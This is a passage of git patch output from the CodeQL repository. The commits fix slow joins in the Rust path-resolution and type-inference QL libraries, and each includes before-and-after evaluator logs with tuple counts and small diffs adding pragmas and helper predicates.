Rhs.2 12207 ~1% {2} r5 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::EnumItemNode.hasCanonicalPath/1#dispred#03ce35b1_project#PathResolution::ItemNode.g__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 12207 ~0% {3} | JOIN WITH `__PathResolution::EnumItemNode.getName/0#dispred#f21ce0ed_PathResolution::ItemNode.getCanonicalPathP__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 26698 ~0% {2} r6 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::ModuleItemNode.hasCanonicalPath/1#dispred#2fee2540_project#PathResolution::ItemNode__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 26698 ~4% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#1` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 6315 ~1% {2} r7 = JOIN `PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_delta` WITH `_PathResolution::TraitItemNode.hasCanonicalPath/1#dispred#824f98e3_project#PathResolution::ItemNode.__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1 6315 ~2% {3} | JOIN WITH `__PathResolution::ItemNode.getCanonicalPathPrefix/1#dispred#a1d9332d#prev_PathResolution::ItemNode.g__#join_rhs#3` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, Rhs.2 150127 ~0% {3} r8 = JOIN `PathResolution::ImplItemNode.getSelfCanonicalPath/1#dispred#8ed81fbe#prev_delta` WITH `PathResolution::ImplItemNode.hasCanonicalPath/1#dispred#4e7c51c6` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, _ 150127 ~0% {3} | REWRITE WITH Out.2 := 1 112374 ~1% {3} r9 = JOIN `PathResolution::ImplItemNode.getCanonicalPathTraitPart/1#dispred#009a7fd0#prev_delta` WITH `_PathResolution::ImplItemNode.getTraitPath/0#dispred#3b7d1cb6_PathResolution::ImplItemNode.hasCanoni__#join_rhs` ON FIRST 2 OUTPUT Lhs.0, Lhs.1, _ 112374 ~0% {3} | REWRITE WITH Out.2 := 3 262501 ~0% {3} r10 = r8 UNION r9 230996 ~1% {5} r11 = JOIN r10 WITH `PathResolution::ImplItemNode.getTraitPath/0#dispred#3b7d1cb6` ON FIRST 1 OUTPUT Lhs.0, Lhs.1, Lhs.2, _, _ 230996 ~1% {5} | REWRITE WITH Out.3 := 4, Out.4 := 0 {3} r12 = r10 AND NOT `PathResolution::ImplItemNode.getTraitPath/0#dispred#3b7d1cb6_0#antijoin_rhs`(FIRST 1) 31487 ~0% {5} | SCAN OUTPUT In.0, In.1, In.2, _, _ 31487 ~0% {5} | REWRITE WITH Out.3 := 2, Out.4 := 0 262483 ~1% {5} r13 = r11 UNION r12 262483 ~1% {5} | JOIN WITH PRIMITIVE range#bbb ON Lhs.4,Lhs.3,Lhs.2 262483 ~0% {3} | SCAN OUTPUT In.3, In.0, In.1 142772 ~0% {3} | JOIN WITH `__PathResolution::ImplItemNode.getCanonicalPathTraitPart/1#dispred#009a7fd0#prev_PathResolution::Imp__#join_rhs` ON FIRST 3 OUTPUT Lhs.1, Lhs.2, Rhs.3 870535 ~1% {3} r14 = r1 UNION r2 UNION r3 UNION r4 UNION r5 UNION r6 UNION r7 UNION r13 870531 ~1% {3} | AND NOT `PathResolution::ItemNode.getCanonicalPath/1#dispred#f52ac1c6#prev`(FIRST 3) return r14 ``` --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 108b8745e44..4c057c24ee3 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -607,6 +607,9 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { result = this.resolveTraitTy().getCanonicalPath(c) } + pragma[nomagic] + private string getSelfCanonicalPath(Crate c) { result = this.resolveSelfTy().getCanonicalPath(c) } + pragma[nomagic] private string getCanonicalPathTraitPart(Crate c) { exists(Crate c2 | @@ -621,7 +624,7 @@ class ImplItemNode extends ImplOrTraitItemNode instanceof Impl { result = "<" or i = 1 and - result = this.resolveSelfTy().getCanonicalPath(c) + result = this.getSelfCanonicalPath(c) or if exists(this.getTraitPath()) then From 8c956647dee1292f3e0c82f2a1c6bb9881d75fb8 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 16:28:39 +0200 Subject: [PATCH 240/271] Rust: Fix bad join in `fileImport` Before ``` Evaluated relational algebra for predicate PathResolution::fileImport/2#d9e57816@c790f609 with tuple counts: 241 ~0% {3} r1 = JOIN `_Locatable::Locatable.getFile/0#dispred#f7e24934_PathResolution::isSourceFile/1#803de032#shared` WITH `FileSystem::Folder::Append::append/2#beb8f79a_201#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Rhs.2, Lhs.1 291 ~0% {2} | JOIN WITH `PathResolution::pathAttrImport/3#88463ffa_021#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2 14978 ~8% {2} r2 = SCAN `PathResolution::modImport0/3#03cccf2a` OUTPUT In.0, In.1 14978 ~8% {2} | STREAM DEDUP 14392 ~9% {2} r3 = r2 AND NOT `PathResolution::modImportNested/3#991244df_0#antijoin_rhs`(FIRST 1) 14392 ~0% {3} | JOIN WITH `PathResolution::modImport0/3#03cccf2a` ON FIRST 2 OUTPUT Lhs.1, Rhs.2, Lhs.0 14355 ~0% {4} | JOIN WITH `PathResolution::fileModule/3#d6c6ceef#fbf_120#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.0, Lhs.1, Lhs.2 14978 ~0% {2} r4 = JOIN r2 WITH `PathResolution::modImport0/3#03cccf2a` ON FIRST 2 OUTPUT Lhs.1, Lhs.0 329862 ~0% {5} | JOIN WITH `PathResolution::fileModule/3#d6c6ceef#fbf_102#join_rhs` ON FIRST 1 OUTPUT Lhs.1, Lhs.1, Rhs.2, Lhs.0, Rhs.1 577 ~3% {4} | JOIN WITH `PathResolution::modImportNestedLookup/3#6cc4b913#ffb` ON FIRST 3 OUTPUT Lhs.4, Lhs.3, Lhs.2, Lhs.0 14932 ~0% {4} r5 = r3 UNION r4 14932 ~0% {2} | JOIN WITH `PathResolution::fileModule/3#d6c6ceef#fbf` ON FIRST 3 OUTPUT Lhs.0, Lhs.3 14932 ~0% {2} | JOIN WITH `PathResolution::isSourceFile/1#803de032` ON FIRST 1 OUTPUT Lhs.1, Lhs.0 15223 ~0% {2} r6 = r1 UNION r5 return r6 ``` Afer ``` Evaluated relational algebra for predicate PathResolution::fileImport/2#d9e57816@007bd81i with tuple counts: 241 ~0% {3} r1 = JOIN `_Locatable::Locatable.getFile/0#dispred#f7e24934_PathResolution::isSourceFile/1#803de032#shared` WITH `FileSystem::Folder::Append::append/2#beb8f79a_201#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Rhs.2, Lhs.1 291 ~0% {2} | JOIN WITH `PathResolution::pathAttrImport/3#88463ffa_021#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2 14978 ~8% {2} r2 = SCAN `PathResolution::modImport0/3#03cccf2a` OUTPUT In.0, In.1 14978 ~8% {2} | STREAM DEDUP 14392 ~9% {2} r3 = r2 AND NOT `PathResolution::modImportNested/3#991244df_0#antijoin_rhs`(FIRST 1) 14392 ~0% {3} | JOIN WITH `PathResolution::modImport0/3#03cccf2a` ON FIRST 2 OUTPUT Lhs.1, Rhs.2, Lhs.0 14978 ~9% {3} r4 = JOIN r2 WITH `PathResolution::modImport0/3#03cccf2a` ON FIRST 2 OUTPUT Lhs.0, Lhs.0, Lhs.1 577 ~0% {3} | JOIN WITH `PathResolution::modImportNestedLookup/3#6cc4b913#ffb` ON FIRST 2 OUTPUT Lhs.2, Rhs.2, Lhs.0 14969 ~1% {3} r5 = r3 UNION r4 14932 ~0% {2} | JOIN WITH `PathResolution::fileModule/3#d6c6ceef_120#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2 14932 ~0% {2} | JOIN WITH `PathResolution::isSourceFile/1#803de032` ON FIRST 1 OUTPUT Lhs.1, Lhs.0 15223 ~0% {2} r6 = r1 UNION r5 return r6 ``` --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 4c057c24ee3..5e8c991a582 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -988,6 +988,7 @@ private predicate sourceFileEdge(SourceFile f, string name, ItemNode item) { } /** Holds if `f` is available as `mod name;` inside `folder`. */ +pragma[nomagic] private predicate fileModule(SourceFile f, string name, Folder folder) { exists(File file | file = f.getFile() | file.getBaseName() = name + ".rs" and @@ -1002,6 +1003,12 @@ private predicate fileModule(SourceFile f, string name, Folder folder) { ) } +bindingset[name, folder] +pragma[inline_late] +private predicate fileModuleInlineLate(SourceFile f, string name, Folder folder) { + fileModule(f, name, folder) +} + /** * Gets the `Meta` of the module `m`'s [path attribute][1]. * @@ -1084,7 +1091,7 @@ pragma[nomagic] predicate fileImport(Module m, SourceFile f) { exists(string name, Folder parent | modImport0(m, name, _) and - fileModule(f, name, parent) + fileModuleInlineLate(f, name, parent) | // `m` is not inside a nested module modImport0(m, name, parent) and From bc60d033e540de5851dee34664f94252a3be194d Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 18:55:36 +0200 Subject: [PATCH 241/271] Rust: Fix bad join in `inferAccessType` Before ``` Pipeline standard for TypeInference::CallExprBaseMatching::inferAccessType/3#be4695a4@202c46xq was evaluated in 600 iterations totaling 2282ms (delta sizes total: 5827084). 120407742 ~1% {4} r1 = JOIN `TypeInference::CallExprBaseMatchingInput::Access.getTarget/0#dispred#29d66fd1#prev_delta` WITH `TypeInference::CallExprBaseMatchingInput::accessDeclarationPositionMatch/2#6c58c89d` CARTESIAN PRODUCT OUTPUT Lhs.1, Rhs.1, Rhs.0, Lhs.0 6495868 ~109% {4} | JOIN WITH `TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f` ON FIRST 2 OUTPUT Rhs.3, Lhs.2, Lhs.3, Rhs.2 {4} | AND NOT Type::TypeParameter#f85657da(FIRST 1) 3049994 ~10% {4} | SCAN OUTPUT In.2, In.1, In.3, In.0 7891 ~0% {5} r2 = SCAN `TypeInference::CallExprBaseMatching::explicitTypeMatch/5#98ce2c39#prev_delta` OUTPUT In.1, In.4, In.0, In.2, In.3 4445 ~3% {9} | JOIN WITH `_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f_1023#join___#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2, Lhs.4, _, _, Rhs.3, Lhs.3, _, _ {5} | REWRITE WITH Out.3 := (In.5 ++ In.6), Tmp.4 := (In.5 ++ In.6), Tmp.7 := "[0-9]+", Tmp.8 := "", Out.4 := regexpReplaceAll(Tmp.4,Tmp.7,Tmp.8) KEEPING 5 4445 ~3% {7} | SCAN OUTPUT In.0, In.1, In.2, In.3, _, In.4, _ {5} | REWRITE WITH Out.4 := length(In.5), Tmp.6 := 10, TEST Out.4 <= Tmp.6 KEEPING 5 4445 ~5% {4} | SCAN OUTPUT In.1, In.0, In.3, In.2 3553075 ~1% {5} r3 = SCAN `TypeInference::CallExprBaseMatching::directTypeMatch/5#319f8680#prev_delta` OUTPUT In.1, In.4, In.0, In.2, In.3 6860451 ~16% {9} | JOIN WITH `_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f_1023#join___#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2, Lhs.4, _, _, Rhs.3, Lhs.3, _, _ {5} | REWRITE WITH Out.3 := (In.5 ++ In.6), Tmp.4 := (In.5 ++ In.6), Tmp.7 := "[0-9]+", Tmp.8 := "", Out.4 := regexpReplaceAll(Tmp.4,Tmp.7,Tmp.8) KEEPING 5 6860451 ~19% {7} | SCAN OUTPUT In.0, In.1, In.2, In.3, _, In.4, _ {5} | REWRITE WITH Out.4 := length(In.5), Tmp.6 := 10, TEST Out.4 <= Tmp.6 KEEPING 5 6211129 ~20% {4} | SCAN OUTPUT In.1, In.0, In.3, In.2 115218 ~1% {5} r4 = SCAN `TypeInference::CallExprBaseMatching::typeConstraintBaseTypeMatch/5#ebeb4216#prev_delta` OUTPUT In.1, In.4, In.0, In.2, In.3 181668 ~2% {9} | JOIN WITH `_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f_1023#join___#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2, Lhs.4, _, _, Rhs.3, Lhs.3, _, _ {5} | REWRITE WITH Out.3 := (In.5 ++ In.6), Tmp.4 := (In.5 ++ In.6), Tmp.7 := "[0-9]+", Tmp.8 := "", Out.4 := regexpReplaceAll(Tmp.4,Tmp.7,Tmp.8) KEEPING 5 181668 ~0% {7} | SCAN OUTPUT In.0, In.1, In.2, In.3, _, In.4, _ {5} | REWRITE WITH Out.4 := length(In.5), Tmp.6 := 10, TEST Out.4 <= Tmp.6 KEEPING 5 181668 ~0% {4} | SCAN OUTPUT In.1, In.0, In.3, In.2 9447236 ~16% {4} r5 = r1 UNION r2 UNION r3 UNION r4 5902300 ~4% {4} | AND NOT `TypeInference::CallExprBaseMatching::inferAccessType/3#be4695a4#prev`(FIRST 4) return r5 ``` Afer ``` Pipeline standard for TypeInference::CallExprBaseMatching::inferAccessType/3#be4695a4@061316x0 was evaluated in 600 iterations totaling 1727ms (delta sizes total: 5918371). 1323162 ~0% {2} r1 = SCAN `TypeInference::CallExprBaseMatchingInput::Access.getTarget/0#dispred#29d66fd1#prev_delta` OUTPUT In.1, In.0 5316637 ~152% {4} | JOIN WITH `_Type::TypeParameter#f85657da_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/__#join_rhs#1` ON FIRST 1 OUTPUT Lhs.1, Rhs.1, Rhs.2, Rhs.3 7891 ~0% {5} r2 = SCAN `TypeInference::CallExprBaseMatching::explicitTypeMatch/5#98ce2c39#prev_delta` OUTPUT In.1, In.4, In.0, In.2, In.3 4445 ~3% {9} | JOIN WITH `_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f_1023#join___#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2, Lhs.4, _, _, Rhs.3, Lhs.3, _, _ {5} | REWRITE WITH Out.3 := (In.5 ++ In.6), Tmp.4 := (In.5 ++ In.6), Tmp.7 := "[0-9]+", Tmp.8 := "", Out.4 := regexpReplaceAll(Tmp.4,Tmp.7,Tmp.8) KEEPING 5 4445 ~3% {7} | SCAN OUTPUT In.0, In.1, In.2, In.3, _, In.4, _ {5} | REWRITE WITH Out.4 := length(In.5), Tmp.6 := 10, TEST Out.4 <= Tmp.6 KEEPING 5 4445 ~5% {4} | SCAN OUTPUT In.1, In.0, In.3, In.2 3553075 ~1% {5} r3 = SCAN `TypeInference::CallExprBaseMatching::directTypeMatch/5#319f8680#prev_delta` OUTPUT In.1, In.4, In.0, In.2, In.3 6860451 ~16% {9} | JOIN WITH `_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f_1023#join___#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2, Lhs.4, _, _, Rhs.3, Lhs.3, _, _ {5} | REWRITE WITH Out.3 := (In.5 ++ In.6), Tmp.4 := (In.5 ++ In.6), Tmp.7 := "[0-9]+", Tmp.8 := "", Out.4 := regexpReplaceAll(Tmp.4,Tmp.7,Tmp.8) KEEPING 5 6860451 ~19% {7} | SCAN OUTPUT In.0, In.1, In.2, In.3, _, In.4, _ {5} | REWRITE WITH Out.4 := length(In.5), Tmp.6 := 10, TEST Out.4 <= Tmp.6 KEEPING 5 6211129 ~20% {4} | SCAN OUTPUT In.1, In.0, In.3, In.2 115218 ~1% {5} r4 = SCAN `TypeInference::CallExprBaseMatching::typeConstraintBaseTypeMatch/5#ebeb4216#prev_delta` OUTPUT In.1, In.4, In.0, In.2, In.3 181668 ~2% {9} | JOIN WITH `_TypeInference::CallExprBaseMatchingInput::Declaration.getDeclaredType/2#dispred#325b693f_1023#join___#join_rhs` ON FIRST 2 OUTPUT Rhs.2, Lhs.2, Lhs.4, _, _, Rhs.3, Lhs.3, _, _ {5} | REWRITE WITH Out.3 := (In.5 ++ In.6), Tmp.4 := (In.5 ++ In.6), Tmp.7 := "[0-9]+", Tmp.8 := "", Out.4 := regexpReplaceAll(Tmp.4,Tmp.7,Tmp.8) KEEPING 5 181668 ~0% {7} | SCAN OUTPUT In.0, In.1, In.2, In.3, _, In.4, _ {5} | REWRITE WITH Out.4 := length(In.5), Tmp.6 := 10, TEST Out.4 <= Tmp.6 KEEPING 5 181668 ~0% {4} | SCAN OUTPUT In.1, In.0, In.3, In.2 11713879 ~62% {4} r5 = r1 UNION r2 UNION r3 UNION r4 6210333 ~10% {4} | AND NOT `TypeInference::CallExprBaseMatching::inferAccessType/3#be4695a4#prev`(FIRST 4) return r5 ``` --- .../codeql/typeinference/internal/TypeInference.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index ca79740a2ce..3c984d98e44 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -1289,14 +1289,14 @@ module Make1 Input1> { exists(DeclarationPosition dpos | accessDeclarationPositionMatch(apos, dpos) | // A suffix of `path` leads to a type parameter in the target exists(Declaration target, TypePath prefix, TypeParameter tp, TypePath suffix | - tp = target.getDeclaredType(pragma[only_bind_into](dpos), prefix) and + tp = target.getDeclaredType(dpos, prefix) and path = prefix.append(suffix) and typeMatch(a, target, suffix, result, tp) ) or // `path` corresponds directly to a concrete type in the declaration exists(Declaration target | - result = target.getDeclaredType(pragma[only_bind_into](dpos), path) and + result = target.getDeclaredType(dpos, path) and target = a.getTarget() and not result instanceof TypeParameter ) From f9915e66a788d5f8ec026a5a07a2783333fa2949 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Tue, 10 Jun 2025 20:39:10 +0200 Subject: [PATCH 242/271] Rust: Fix bad join in `satisfiesConcreteTypesFromIndex` Before ``` Pipeline standard for TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9@061312x0 was evaluated in 367 iterations totaling 3484ms (delta sizes total: 563408). 66609 ~0% {3} r1 = SCAN `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev_delta` OUTPUT In.1, In.2, In.0 867138261 ~1% {4} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1_210#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Rhs.2, Lhs.0, Lhs.1 29320 ~0% {5} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::IsInstantiationOfInput::potentialInstantiationOf/3#1239e45f#reorder_0_2_1#prev` ON FIRST 2 OUTPUT Rhs.2, Lhs.3, Lhs.0, Lhs.2, Lhs.1 {5} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 29320 ~1% {4} | SCAN OUTPUT In.4, In.3, In.2, In.0 29320 ~0% {5} r2 = JOIN r1 WITH `TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80_021#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.0, Lhs.3, Rhs.2, _ {4} | REWRITE WITH Tmp.4 := 0, TEST InOut.3 != Tmp.4 KEEPING 4 29320 ~0% {5} | SCAN OUTPUT In.0, In.2, In.1, _, In.3 29320 ~0% {5} | REWRITE WITH Tmp.3 := 1, Out.3 := (InOut.4 - Tmp.3) 29296 ~1% {4} | JOIN WITH `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev` ON FIRST 4 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.4 29320 ~0% {6} r3 = JOIN r1 WITH `TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80_021#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.1, Lhs.0, Lhs.3, Rhs.2, _ {5} | REWRITE WITH Tmp.5 := 0, TEST InOut.4 = Tmp.5 KEEPING 5 0 ~0% {5} | SCAN OUTPUT In.2, _, In.1, In.0, In.3 0 ~0% {5} | REWRITE WITH Out.1 := 0 0 ~0% {4} | JOIN WITH `TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80` ON FIRST 3 OUTPUT Lhs.3, Lhs.4, Lhs.0, _ 0 ~0% {4} | REWRITE WITH Out.3 := 0 563353 ~1% {4} r4 = SCAN `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev_delta` OUTPUT In.0, In.2, In.1, In.3 563353 ~1% {6} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::IsInstantiationOfInput::potentialInstantiationOf/3#1239e45f#reorder_0_2_1#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.2, Lhs.1, _, Lhs.3, _ {4} | REWRITE WITH Tmp.3 := 1, Out.3 := (Tmp.3 + In.4), Tmp.5 := 0, TEST Out.3 != Tmp.5 KEEPING 4 563353 ~0% {4} | SCAN OUTPUT In.2, In.3, In.0, In.1 258647 ~1% {5} r5 = JOIN r4 WITH `TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80` ON FIRST 2 OUTPUT Lhs.3, Lhs.2, Lhs.0, Lhs.1, Rhs.2 102998 ~1% {6} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.4, Lhs.1, Lhs.0, Lhs.3 52485 ~1% {6} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5 258647 ~0% {5} r6 = JOIN r4 WITH `TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80` ON FIRST 2 OUTPUT Lhs.0, Rhs.2, Lhs.2, Lhs.3, Lhs.1 259340 ~1% {6} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1_021#join_rhs` ON FIRST 2 OUTPUT Lhs.2, Lhs.1, Rhs.2, Lhs.3, Lhs.0, Lhs.4 16033 ~0% {6} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 3 OUTPUT Lhs.3, Lhs.2, Lhs.0, Lhs.4, Lhs.5, Lhs.1 {6} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 15992 ~1% {6} | SCAN OUTPUT In.3, In.1, In.5, In.2, In.0, In.4 68477 ~1% {6} r7 = r5 UNION r6 68477 ~0% {4} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 3 OUTPUT Lhs.3, Lhs.4, Lhs.0, Lhs.5 465635 ~0% {3} r8 = SCAN `TypeInference::CallExprBaseMatching::AccessConstraint::IsInstantiationOfInput::potentialInstantiationOf/3#1239e45f#reorder_0_2_1#prev_delta` OUTPUT In.1, In.0, In.2 465635 ~0% {5} r9 = JOIN r8 WITH `_TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80` ON FIRST 3 OUTPUT Lhs.4, Lhs.0, _, Lhs.2, Lhs.3 465635 ~1% {5} | REWRITE WITH Out.2 := 0 275069 ~0% {5} r11 = JOIN r8 WITH `_TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev` ON FIRST 3 OUTPUT Lhs.2, Lhs.3, Lhs.4, Lhs.0, Lhs.1, Rhs.3, _ 0 ~0% {7} | REWRITE WITH Tmp.6 := 1, Out.6 := (InOut.1 - Tmp.6), TEST Out.6 = InOut.5 0 ~0% {5} r12 = SCAN r11 OUTPUT In.4, In.0, In.1, In.2, In.3 465635 ~1% {5} r13 = r10 UNION r12 94444 ~1% {6} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 1 OUTPUT Lhs.1, Rhs.1, Lhs.3, Lhs.2, Lhs.4, Lhs.0 6 ~20% {6} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.3, Lhs.4, Lhs.5 465635 ~0% {5} r14 = JOIN r9 WITH `TypeInference::M2::IsInstantiationOf::getNthPath/2#8b978a80` ON FIRST 3 OUTPUT Lhs.0, Lhs.2, _, Lhs.3, Lhs.4 465635 ~1% {5} | REWRITE WITH Out.2 := 0 0 ~0% {5} r15 = SCAN r11 OUTPUT In.0, In.2, In.1, In.3, In.4 465635 ~1% {5} r16 = r14 UNION r15 465635 ~0% {6} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1_021#join_rhs` ON FIRST 2 OUTPUT Lhs.3, Lhs.1, Rhs.2, Lhs.0, Lhs.2, Lhs.4 465635 ~0% {6} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 3 OUTPUT Lhs.5, Lhs.2, Lhs.3, Lhs.4, Lhs.1, Lhs.0 {6} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 465629 ~1% {6} | SCAN OUTPUT In.2, In.1, In.4, In.3, In.5, In.0 465635 ~1% {6} r17 = r13 UNION r16 465635 ~1% {4} | JOIN WITH `TypeMention::TypeMention.resolveTypeAt/1#dispred#a125c821#bff#reorder_0_2_1` ON FIRST 3 OUTPUT Lhs.4, Lhs.5, Lhs.0, Lhs.3 563408 ~1% {4} r18 = r2 UNION r3 UNION r7 UNION r17 563408 ~1% {4} | AND NOT `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev`(FIRST 4) return r18 ``` After ``` Pipeline standard for TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9@e8671bx7 was evaluated in 376 iterations totaling 245ms (delta sizes total: 563353). 563353 ~1% {6} r1 = SCAN `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev_delta` OUTPUT In.0, In.1, In.2, _, In.3, _ 563353 ~1% {4} | REWRITE WITH Tmp.3 := 1, Out.3 := (Tmp.3 + In.4), Tmp.5 := 0, TEST Out.3 != Tmp.5 KEEPING 4 259340 ~1% {5} r2 = JOIN r1 WITH `TypeInference::M2::IsInstantiationOf::resolveTypeAt/5#77e2181d#prev` ON FIRST 4 OUTPUT Lhs.1, Rhs.5, Lhs.0, Lhs.2, Lhs.3 52485 ~0% {4} | JOIN WITH `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0` ON FIRST 2 OUTPUT Lhs.2, Lhs.0, Lhs.3, Lhs.4 259340 ~1% {6} r3 = JOIN r1 WITH `TypeInference::M2::IsInstantiationOf::resolveTypeAt/5#77e2181d#prev` ON FIRST 4 OUTPUT Lhs.0, Rhs.4, Rhs.5, Lhs.1, Lhs.2, Lhs.3 16033 ~0% {5} | JOIN WITH `TypeInference::CallExprBaseMatching::AccessConstraint::RelevantAccess.getTypeAt/1#dispred#3a89868c#prev` ON FIRST 3 OUTPUT Lhs.3, Lhs.2, Lhs.0, Lhs.4, Lhs.5 {5} | AND NOT `Type::TypeAbstraction.getATypeParameter/0#dispred#030257a0`(FIRST 2) 15992 ~0% {4} | SCAN OUTPUT In.2, In.0, In.3, In.4 741397 ~1% {7} r4 = SCAN `TypeInference::M2::IsInstantiationOf::resolveTypeAt/5#77e2181d#prev_delta` OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _ 465635 ~1% {6} | REWRITE WITH Tmp.6 := 0, TEST InOut.3 = Tmp.6 KEEPING 6 465635 ~1% {5} r5 = SCAN r4 OUTPUT In.1, In.5, In.0, In.2, _ 465635 ~0% {5} | REWRITE WITH Out.4 := 0 741397 ~1% {7} r6 = SCAN `TypeInference::M2::IsInstantiationOf::resolveTypeAt/5#77e2181d#prev_delta` OUTPUT In.0, In.1, In.2, In.3, In.4, In.5, _ 275762 ~1% {6} | REWRITE WITH Tmp.6 := 0, TEST InOut.3 != Tmp.6 KEEPING 6 0 ~0% {7} r7 = JOIN r6 WITH `TypeInference::M2::IsInstantiationOf::satisfiesConcreteTypesFromIndex/4#716280b9#prev` ON FIRST 3 OUTPUT Lhs.0, Lhs.1, Lhs.2, Lhs.3, Lhs.5, Rhs.3, _ {7} | REWRITE WITH Tmp.6 := 1, Out.6 := (InOut.3 - Tmp.6), TEST Out.6 = InOut.5 0 ~0% {5} | SCAN 